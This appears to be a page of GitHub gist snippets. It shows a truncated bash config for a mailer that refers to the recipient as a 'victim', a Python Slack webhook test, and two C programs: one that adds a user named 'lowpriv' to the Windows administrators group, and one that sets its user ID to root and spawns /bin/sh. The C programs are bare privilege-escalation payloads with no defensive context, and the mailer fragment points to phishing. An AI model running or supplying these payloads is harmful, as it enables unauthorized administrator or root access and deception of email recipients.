This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Mail Server Config | |
mail_server_ip="" # SMTP server | |
mail_server_port="25" | |
mail_server_username="" # SMTP username | |
mail_server_password="" # SMTP password | |
mail_server_legit_email="noreply@<yoursmtp>.com" # The `Mail from` value of SMTP Envelope (not what victim see) | |
# Email params config |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json | |
import requests | |
webhook_url = "" #Add the webhook here | |
slack_data = {"text": "This is a test message", "channel": "<channel-name> or <@person>"} | |
response = requests.post( | |
webhook_url, data = json.dumps(slack_data), | |
headers={'Content-Type': 'application/json'} | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
int main () | |
{ | |
int i; | |
i=system ("net localgroup administrators lowpriv /add"); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
int main (int argc, char *argv[]) | |
{ | |
setreuid(0, 0); | |
execve("/bin/sh", NULL, NULL); | |
} |